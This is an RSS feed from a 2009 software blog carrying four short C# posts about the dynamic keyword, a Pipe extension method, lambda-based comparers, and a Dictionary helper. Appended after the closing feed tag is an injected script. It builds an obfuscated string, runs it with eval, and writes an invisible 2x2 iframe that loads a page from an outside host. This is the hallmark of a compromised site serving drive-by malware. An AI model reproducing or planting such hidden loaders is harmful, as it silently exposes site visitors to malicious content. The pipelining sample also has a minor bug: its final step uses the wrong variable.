<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; .NET</title>
	<atom:link href="http://www.lexparse.com/category/net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C# Dynamic: The Downfall of Western Civilization</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/</link>
		<comments>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 20:14:41 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[end of days]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=141</guid>
		<description><![CDATA[I&#8217;ve known about the new dynamic keyword in C# 4 for about a year now but really haven&#8217;t thought much about it.  It&#8217;s suppose to be syntactic sugar for dealing with things like COM interop and objects from other DLR languages.  This can be done now by using the existing reflection framework/library, but [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve known about the new <a href="http://msdn.microsoft.com/en-us/library/dd264736(VS.100).aspx" target="_blank"><em>dynamic</em> keyword in C# 4</a> for about a year now but really haven&#8217;t thought much about it.  It&#8217;s suppose to be syntactic sugar for dealing with things like COM interop and objects from other DLR languages.  This can be done now by using the existing reflection framework/library, but it can be tedious dealing with method name strings and the chain of method calls needed to get to the method invocation.  Variables declared as <em>dynamic</em> bypass static type checking.  </p>
<p>I came to the realization today this new keyword might well trigger the downfall of western civilization.  Not only can this keyword be used for local variables, but also method parameters and return values.  If you have experience working in Corporate America, you know that the there are plenty of developers out there who will abuse this keyword to no end.  Can you imagine a ginormous, multi-thousand source file code base littered with <em>dynamic</em>!!!  Methods that return dynamic!!!  Methods that take dynamic!!!  Does this not frighten anybody?  I&#8217;m so scared.  Am I alone?  Can we stop this?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>C# Pipelining: Extend Object With Pipe</title>
		<link>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/</link>
		<comments>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 15:17:27 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[extension methods]]></category>
		<category><![CDATA[Pipelining]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=128</guid>
		<description><![CDATA[Pipelining can be a useful operation when you need to break up code into several steps, perhaps for readability.  Typically this is done to avoid a huge mess of nested functions: f(g(h(i(j(k(l(x)))))).  Without pipelining you typically need to assign the various steps to local variables.  You can get pipelining in C# by [...]]]></description>
			<content:encoded><![CDATA[<p>Pipelining can be a useful operation when you need to break up code into several steps, perhaps for readability.  Typically this is done to avoid a huge mess of nested functions: <em>f(g(h(i(j(k(l(x))))))</em>.  Without pipelining you typically need to assign the various steps to local variables.  You can get pipelining in C# by extending <em>object </em> with this extension method:</p>
<pre name="code" class="csharp">
public static TResult Pipe&lt;T, TResult&gt;(this T obj, Func&lt;T, TResult&gt; f)
{
   return f(obj);
}
</pre>
<p>Example calculating standard deviation with and without pipelining:</p>
<pre name="code" class="csharp">

List&lt;double&gt; values = new List&lt;double&gt;() { 1, 7, 8, 9, 10, 100, 1000, 1001, 100000 };

double average = values.Average();
double totalVariance = 0;
foreach (double value in values)
{
   totalVariance += Math.Pow(value - average, 2);
}

//OR you could do this:
//totalVariance = values.Aggregate(0.0, (variance, val) =&gt; variance + Math.Pow(val - average, 2));

double stdDeviation = Math.Sqrt(totalVariance / values.Count);

//Now with pipe
stdDeviation = values
   .Pipe(v =&gt; v.Average())
   .Pipe(avg =&gt; values.Aggregate(0.0, (variance, val) =&gt; variance + Math.Pow(val - avg, 2)))
   .Pipe(totVariance =&gt; Math.Sqrt(totalVariance / values.Count));
</pre>
<p>Even int gets Pipe():</p>
<pre name="code" class="csharp">
(2)
   .Pipe(i => Math.Pow(i, 42))
   .Pipe(i42 => Math.Sin(i42));
</pre>
<p>The benefit, as far as I&#8217;m concerned, is avoiding uncessary mutable variables in the function scope (or at least from leaking out to where they don&#8217;t need to be).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>C# Lambdas:  Never implement IComparer and IEqualityComparer again</title>
		<link>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/</link>
		<comments>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 12:22:33 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Distinct]]></category>
		<category><![CDATA[IComparer]]></category>
		<category><![CDATA[IEqualityComparer]]></category>
		<category><![CDATA[lambdas]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[Sort]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=99</guid>
		<description><![CDATA[If you&#8217;ve used LINQ and lambdas, I&#8217;m sure you&#8217;ve come across the occasional function that requires an implementation of IEqualityComparer,or IComparer.  You were hoping to write a little Lambda predicate but NOOOOOO, now you have to create a new type and implement an interface.  Well no longer.  I&#8217;m hoping these are the [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve used LINQ and lambdas, I&#8217;m sure you&#8217;ve come across the occasional function that requires an implementation of IEqualityComparer,or IComparer.  You were hoping to write a little Lambda predicate but NOOOOOO, now you have to create a new type and implement an interface.  Well no longer.  I&#8217;m hoping these are the last two classes, in the history of mankind, that inherit from IComparer and IEqualityComparer:</p>
<pre name="code" class="c-sharp">
public class Comparer&lt;T&gt; : IComparer&lt;T&gt;
{
   private Func&lt;T, T, int&gt; _compareFn;

   public Comparer(Func&lt;T, T, int&gt; fn)
   {
      _compareFn = fn;
   }

   public int Compare(T x, T y)
   {
      return _compareFn(x, y);
   }

}

public class EqualityComparer&lt;T&gt; : IEqualityComparer&lt;T&gt;
{
   private Func&lt;T, T, bool&gt; _equalsFn;
   private Func&lt;T, int&gt; _getHashCodefn;

   public EqualityComparer(Func&lt;T, T, bool&gt; equalsFn, Func&lt;T, int&gt; getHashCodefn)
   {
      _equalsFn = equalsFn;
      _getHashCodefn = getHashCodefn;
   }

   public bool Equals(T x, T y)
   {
      return _equalsFn(x, y);
   }

   public int GetHashCode(T obj)
   {
      return _getHashCodefn(obj);
   }
}
</pre>
<p>2 Examples:</p>
<pre name="code" class="c-sharp">
List&lt;int&gt; l = new List&lt;int&gt; { 1, 2, 5, 7, 999, 234, 4 };
l.Sort(new Comparer&lt;int&gt;((x, y) =&gt; x &lt; y ? -1 : x == y ? 0 : 1));

Dictionary&lt;int, string&gt; d = new Dictionary&lt;int, string&gt;() { { 1, "a" }, { 2, "a" }, { 3, "b" } };

var d2 = d.Distinct(new EqualityComparer&lt;KeyValuePair&lt;int, string&gt;&gt;(
   (kvp1, kvp2) =&gt; kvp1.Value == kvp2.Value, kvp =&gt; kvp.Value.GetHashCode()));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>C#: .NET Generic Dictionary Improvement</title>
		<link>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/</link>
		<comments>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 18:30:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=56</guid>
		<description><![CDATA[Are you tired of doing the if(dict.Contains(key))&#8230; pattern?  Extend Dictionary:
public static R ValueOrSomethingElse&#60;K, V, R&#62;(this Dictionary&#60;K, V&#62; Col, K Key, Func&#60;V, R&#62; Transform, Func&#60;R&#62; SomethingElse)
{
   if (Col.ContainsKey(Key))
      return Transform(Col[Key]);
   else
      return SomethingElse();
}
Example usage:

Dictionary&#60;string, DateTime&#62; BDays = new Dictionary&#60;string, DateTime&#62;();
...
BDays.ValueOrSomethingElse("Mark", d [...]]]></description>
			<content:encoded><![CDATA[<p>Are you tired of doing the <em>if(dict.Contains(key))&#8230;</em> pattern?  Extend Dictionary:</p>
<pre name="code" class="csharp">public static R ValueOrSomethingElse&lt;K, V, R&gt;(this Dictionary&lt;K, V&gt; Col, K Key, Func&lt;V, R&gt; Transform, Func&lt;R&gt; SomethingElse)
{
   if (Col.ContainsKey(Key))
      return Transform(Col[Key]);
   else
      return SomethingElse();
}</pre>
<p>Example usage:</p>
<pre name="code" class="c-sharp">
Dictionary&lt;string, DateTime&gt; BDays = new Dictionary&lt;string, DateTime&gt;();
...
BDays.ValueOrSomethingElse("Mark", d =&gt; d.ToString("MM/dd/yy"), () =&gt; "Unknown BirthDate");
</pre>
<p>The second parameter is a lambda for transforming the value if the key is found.  The third parameter is a lambda to execute and return if the key is not found.  I have the third parameter(something else) as a lambda in case the &#8220;something else&#8221; is an expensive operation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>